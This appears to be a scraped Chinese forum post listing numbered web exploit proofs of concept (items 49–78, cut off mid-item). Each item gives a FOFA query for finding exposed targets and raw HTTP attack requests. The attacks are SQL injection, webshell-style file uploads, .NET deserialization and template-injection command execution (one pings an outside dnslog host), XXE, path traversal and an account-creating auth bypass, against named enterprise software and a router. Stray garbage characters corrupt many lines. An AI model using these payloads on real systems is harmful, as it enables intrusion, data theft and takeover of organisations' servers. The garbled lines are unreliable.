6 V7 T7 {" e' ~( j) @------269520967239406871642430066855--

9 {% Y2 z% v, d0 C3 Z1 m; T
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
% \1 r: v9 U* _2 L* u9 p# g; jFOFA：body="用友U8CRM"
2 g8 ^2 X3 ~  `
, W/ s0 T1 }0 \7 U, p; V0 `POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
7 A- H8 C1 E6 j$ H0 z- gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: Y5 C% ?( N, W$ I5 VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; ?) `( B5 l+ ~$ F! hConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

$ t, \2 N' g( L4 p# ?$ o5 _-----------------------------vvv3wdayqv3yppdxvn3w
5 h1 b7 a' m6 Z7 U- LContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
2 O, @- ?* @& I, ?6 J5 I. DContent-Disposition: form-data; name="upload"
! J) _3 B7 h. J
upload
! j* p+ X8 V! e-----------------------------vvv3wdayqv3yppdxvn3w--

+ V3 ^7 j8 ]7 p
http://x.x.x.x/tmpfile/updB3CB.tmp.php

# }8 D: x" G, n1 a3 w0 B/ n50. QDocs Smart School 6.4.1 filterRecords SQL注入
  J7 {- T" u% ^- k4 v% kFOFA：body="close closebtnmodal"
; H9 D6 @! M2 k4 `POST /course/filterRecords/ HTTP/1.1
; t, N8 z; Z: ]1 d% M& [' sHost: x.x.x.x
; u# u+ B( q  |6 _* Z0 k: YUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
8 Q8 i4 r# _- X2 @9 Z* u. v* xConnection: close
Content-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
& d, _  s. a, ^5 I- j( L1 F) ~Accept-Encoding: gzip

& P3 \8 L1 k. H: I8 ksearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

' |2 V& |& s7 {, u
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
, R: U) ?) T$ O$ U4 ZGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
9 C6 {$ [( g$ t) W: D5 p: s% qHost: your-ip
% J/ ?; i3 m, }0 f0 |  wUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
2 n1 z; J2 k# j' I. R8 iAccept-Encoding: gzip, deflate
. N3 I% K; w) FAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ K4 V$ K/ h) q  C1 }% n

52. 泛微E-Office json_common.php sql注入
7 K+ V1 p) K# c2 B* k/ {; _FOFA：app="泛微-EOffice"
" L" N6 O  Z  @3 S% \& r+ G# MPOST /building/json_common.php HTTP/1.1
! Q# Y# d  C' s( m# aHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
  C: {7 Q5 N/ k" J; g* \Content-Length: 87
Accept: */*
Accept-Language: en
8 v: I) d, T6 b1 P1 YContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

2 C7 J7 k5 x  T7 F) R* s' N3 P0 r5 ^tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
1 F8 R) ?( {4 ?% Z4 X
& f9 }4 X- G2 C5 r
53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
; Y  J' W* }! e5 f+ A/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
' u7 m7 i; u5 _
* ]2 Q! s- P' y
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
  [- u# J6 l1 B. yFOFA：app="畅捷通-TPlus"
1 j* F' B! Q' [第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
' `, X4 ^5 u$ u8 B"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

- e! W$ {/ e$ ]; c
完整数据包
! A2 ]. x7 h) V& P7 `) s6 W3 k) tPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
8 r$ j; Z/ w  g5 D* h  KUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
"storeID":{
0 r1 _1 W- h- \+ Z, Y4 S6 q( S, L "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
# ?, C; ^* {/ R5 J! U% A* g) h "MethodName":"Start",
1 w! H; J2 H; w3 [! o) \% m  "ObjectInstance":{
7 Z& R8 S+ t8 D, k/ S( n1 e   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
; u6 X* a% s, A8 a- ^, v    "StartInfo":{
, h% Z5 l/ |; E. F5 y   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
# Z- I0 A( E' }* ?* k, O    }
  }
  }
# G% g: q0 K9 H% A% h4 R% G8 w}
: `# ]1 f  e2 b! S* c

第二步，访问如下url
- k: b8 z7 O- W" k/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

9 ]4 r' V% U. P, ^+ W! j9 ^
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
2 t/ y( Z4 N" h第一步，通过
" r9 y4 g0 I2 h/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
1 V0 K* \4 X0 _/ G; _第二步，利用获取到的Cookie请求
- y" K& c, K6 H* ~' a, w" m" ?/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

+ }' U9 ^) n9 R/ E56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
9 X4 n/ @/ A% C% S) g9 YPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
$ O. \3 d* U0 H8 D* W7 LContent-Type: application/json
/ T7 f2 k; z/ D6 }: L
{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  C+ G$ w0 H$ T6 Y4 N   "MethodName":"Start",
$ Q4 i) p# n; O( l4 T% [    "ObjectInstance":{
# Z' ^/ V4 s, p       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
$ m  C1 ^6 C; U; N% D5 {        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
# W7 v' i& X5 i9 W+ f6 @: E    }
  }
}

+ z1 D6 _& D! ^! p3 e/ Z- `
( s  c; y) r' @57. 畅捷通T+ keyEdit.aspx SQL注入
" n1 D% ^& T7 ?0 d( e+ GFOFA：app="畅捷通-TPlus"
2 ^6 A5 H* \, J" h9 T/ {' GGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
# [; e! g; u" W$ y$ ]% x* E0 `Host: host
5 `) m; P" V$ a. w3 s" ZUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
' a1 {5 ^+ o3 y4 NAccept-Encoding: gzip, deflate
9 \8 H4 S( r# yConnection: close
. D: P, Z# x; F+ r/ n  K
# W  I$ i4 N; A0 n. B: _
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
: J+ u: d# ?: b/ ?" ?$ C: b' bGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
- y  H  F- \2 I0 PHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
( s: A  I4 Z* T7 {0 Z' r5 D$ @Accept-Encoding: gzip, deflate
Connection: close
3 X" I5 A/ ~5 A! s1 a
# B1 q8 _1 b1 m6 B8 M0 w
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
3 H' d8 I& d# X' k& L3 t  C4 jHost: 192.168.86.128:9090
0 i9 G: P, H6 tUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
3 ~$ o+ @2 E8 M4 W" X) q; s3 j" [/ HConnection: close
Content-Length: 1669
. p; T  r3 g) h: n" O. xAccept: */*
Accept-Language: en
( x, o7 Y3 Y3 j8 e0 m8 [$ K6 JContent-Type: application/x-www-form-urlencoded
+ k" g' e& D: m7 C6 p% T# @# RAccept-Encoding: gzip

PAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
% h6 f; c2 n/ `. Z8 h1 }Host:
' L3 H$ |8 A: k' |) jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  L7 y( d7 w- T: _8 C* }' a3 s( wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# M' p& j5 M' u9 c8 u3 FAccept-Encoding: gzip, deflate
: W& U9 Y/ j% v; eAccept-Language: zh-CN,zh;q=0.9
6 S; Z! p% b0 T- {; c7 bConnection: close
; c  U6 B3 N! J

; W- p* v! c! g$ H61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
5 B$ Q8 Q' [7 j3 P0 t8 mFOFA: title="欢迎使用浙大恩特客户资源管理系统"
; y. x! x5 R& KPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 w& H! C$ x4 \Content-Length: 27
Accept: */*
" f$ {, a( {3 lAccept-Encoding: gzip, deflate
+ e0 }% @2 r9 E5 G& W5 n: V0 W1 ZAccept-Language: en
Content-Type: application/x-www-form-urlencoded

7 l" _# ~$ |8 \6 k* L5 |& F" ]8uxssX66eqrqtKObcVa0kid98xa
3 [% n. l8 v5 Y: L7 I: B6 f6 `

62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
: z2 E3 Y3 h( h* N8 uGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
. z/ M' z, m5 y) M9 t, F: |User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
- }% l, q$ v2 I6 B2 G# P. VConnection: close
6 C! U& e9 U/ W! VAccept: */*
Accept-Language: en
Accept-Encoding: gzip


  Y+ S  q' U$ k3 u& ^" ~访问
6 F9 R1 \3 _9 F' Z; N7 F
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
/ T5 O7 W* Y6 S* Q8 x# F0 o% wHost: x.x.x.x

" f! J8 \* W& _/ N0 _$ _
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
' o  h: Q8 D4 q$ ]POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
6 T$ W. i; E( g2 \$ [Host: your-ip
# i" ^3 Q/ R; U& h9 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* c8 r0 x" D. n0 KAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
& l& X9 d- F" f, F
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
; J+ ^6 n/ p  b1 ?3 \
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( t/ |3 c& V+ y1 |( Q' I. {8 |2 EFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
9 t  X! _% [7 d3 z# QHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
5 O9 e3 b$ L, RConnection: close
; U2 O. f0 ~& n0 `' j( k, wContent-Length: 369
! a9 J. P8 K* M, k$ IAccept: */*
Accept-Language: en
" W# J1 a$ O* N$ V$ a. oContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! D3 a# o# x: r- ]( r: v2 P3 H<soap:Body>
! D/ b2 ~6 |7 K+ G2 @6 T    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
% K# ]4 j# b$ [8 K* Z# k6 C    </GetOSpById>
9 i6 u9 R4 v# @9 \; N  </soap:Body>
: d. z% z4 H- q8 U! Z</soap:Envelope>
) {' m4 N, P7 \% c! ?

- h1 R$ T! ~4 }  C65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
+ K) h  e5 S: [3 U( N' T: K6 B* zFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
+ N3 K, ]/ N+ s6 s) [4 ^响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
7 {3 {% T8 m* U6 ]Host:
6 E# [6 m3 B& H8 M) gUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
% |0 j2 R$ \- R& g$ pAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
- r/ S4 b# B, h: m: u* u, e: ]Content-Length: 174

+ c& d6 _# r* \9 i1 M! m& KoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

( Y. Z8 M% f1 R* r" K
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
0 O6 I5 l$ ]! [: }. t/ q. h; JFOFA：app="万户ezOFFICE协同管理平台"

  `9 ^, C( \! vGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
" Z% E; G/ {* T. d9 t$ pHost: x.x.x.x
8 W0 W+ W7 X! w) c; @" KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
6 M: S6 P4 v0 y" f' a6 u2 lConnection: close
, Z" m( n; N3 `! n, b7 qAccept: */*
+ c' U( |; T  R! eAccept-Language: en
Accept-Encoding: gzip

  e* k3 n8 r6 q$ b1 f3 ?
5 z5 |4 N* C3 A5 y第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

6 R# p9 m. V' K& Z! v67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
' e4 E2 T+ b4 p9 H& X; L, HnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
/ {; j+ n2 X; y# CPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
# \- W% G$ H$ b1 y7 m% B2 nHost: x.x.x.x
4 o# d' w; q: C8 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
, M% \' x7 c/ i1 wAccept-Encoding: gzip, deflate
( H5 [% F6 l2 m7 f5 N' h) eAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
" C. M3 F9 J  B1 k# cContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
' j, }9 o  E+ R% ], y3 oDNT: 1
- g  g2 S. d- M7 T1 m8 aUpgrade-Insecure-Requests: 1
7 O3 q" o' t" x7 {
; X" `6 L: v: \0 A7 f5 I--ufuadpxathqvxfqnuyuqaozvseiueerp
/ f" I' S9 q8 aContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
. }2 |3 _' a5 Q# N5 C; M& p4 B
4 [1 C% f* t: M
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
# s0 A" ^; z! E" h. |GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
" ~1 F* @. b1 H% J1 h* DHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& C. x4 R8 z7 F4 L/ g" e

69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
" X; ~7 ?+ R  P8 dGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
- z# x# [4 `# d. BAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
8 T7 v! J$ h3 G0 ]

3 {) ~0 T- r" a70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
( M8 d# o* m; r0 p. R6 \. a4 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
; ^! X, F( ^. }% [8 {# M9 y( k0 EContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
. C$ s2 p0 B6 `
+ {5 z( p8 h* v8 ^" ]# q# p# F
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
- Z, ?# @) i4 J; c; V# n9 JGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
1 T2 a3 ~3 ?0 V6 n  y2 E3 K! xUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
, g' Y( C; d! ^0 HConnection: close
! Q5 j. b5 P& u" j* j) J  u1 b0 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
7 N9 t' G$ v" S' h% G

' Y; ?; z+ @  {; `* j, Q# w72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
! `9 w+ U. P5 K2 e0 |. G1 ^4 KHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
* o9 _; i* z6 o0 XAccept-Encoding: gzip
# L6 a2 w. N+ j4 f* G
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
1 o+ ~8 x/ u+ o  P
- w7 J$ u& v  b
- I- U8 r- n9 `! v  r' z) ]73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
) w# D9 C$ q) f! D2 bPOST /geoserver/wms HTTP/1.1
Host:
8 |1 b  j# ?2 a. zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
& S7 w2 u- \6 O8 N* u" v  }Content-Length: 1981
& J2 Y' O' A8 `, b5 r" JAccept-Encoding: gzip, deflate
/ j7 O+ o2 f3 fConnection: close
Content-Type: application/xml
SL-CE-SUID: 3
7 l- S7 h! R1 V6 |! z; W1 S
PAYLOAD
0 s' o" w' z6 v1 A
2 u6 D2 c2 O. t( {) d
74. 致远M3-server 6_1sp1 反序列化RCE
: I! ]- |9 S1 n4 g4 }( @4 N! z* qFOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
! ^4 W) F" R* N9 w1 KFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 m! Z/ j" c0 n0 ]" G, ]Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
9 B8 n) _* R. _9 ]1 g8 D; \6 t# A

GET /cgi-bin/test28256.txt HTTP/1.1
- F3 }5 [0 a9 u! P# _Host: x.x.x.x
$ g7 |3 T8 C% i% t) t7 X0 h0 f+ w4 `
+ G2 Y& B2 O) y; c: e
76. 新开普掌上校园服务管理平台service.action远程命令执行
) U$ B5 {% r# t. fFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
6 P6 s5 V; r# g6 uHost: x.x.x.x
% U8 e, Y# T- U0 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
0 {6 w8 l  C' E* F* s# K$ Y& [Connection: close
3 O! y# B4 x+ N% e8 Q- XContent-Length: 211
6 y+ l) |4 ?" QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 l8 [  V, u9 ]6 `. n% W: _; XAccept-Encoding: gzip, deflate
: x- z% u( _& |/ O8 j" p- Z# w8 QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
, l2 p1 `1 G5 H- ^# \  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
2 H# K6 r  ]1 s- i}

4 H& v% S; \7 F$ g3 g# J* p
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
7 M, m! ]% T7 S& }6 r; YHost: x.x.x.x


8 ~% s/ z# @& Q' ]" g
- n' ?7 \; i9 ?" l77. F22服装管理软件系统UploadHandler.ashx任意文件上传
8 o4 h, B1 v& O( E+ N8 o; W# {FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
7 `  q4 u3 Z  i% z% U/ |' GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 Q% v$ U- e/ w) Z  JConnection: close
Content-Length: 433
Accept: */*
) o+ |  V  U3 Q% S. r; WAccept-Encoding: gzip, deflate
2 o8 U( q. W7 l; z. DAccept-Language: zh-CN,zh;q=0.9
' ?4 z, M9 P5 ]& {& k! NContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
# F9 d% C7 w3 ~/ G6 T% w
" b% N0 H% j2 x8 s- h# Q1 e: R------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
- {2 ^5 z# N  v  {- T
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
; {# c1 @  E! f7 y! t: k0 F+ g- TContent-Disposition: form-data; name="Upload"
8 h: Z4 D( y6 v+ X, N3 g
& j4 [3 l' O' H) ]Submit Query
0 X2 ^0 R8 B+ h7 V4 j5 H------------398jnjVTTlDVXHlE7yYnfwBoix--
+ I- V' k1 q1 y& N
/ [  j* E; h1 r
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
" X& A2 {! W+ ZFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
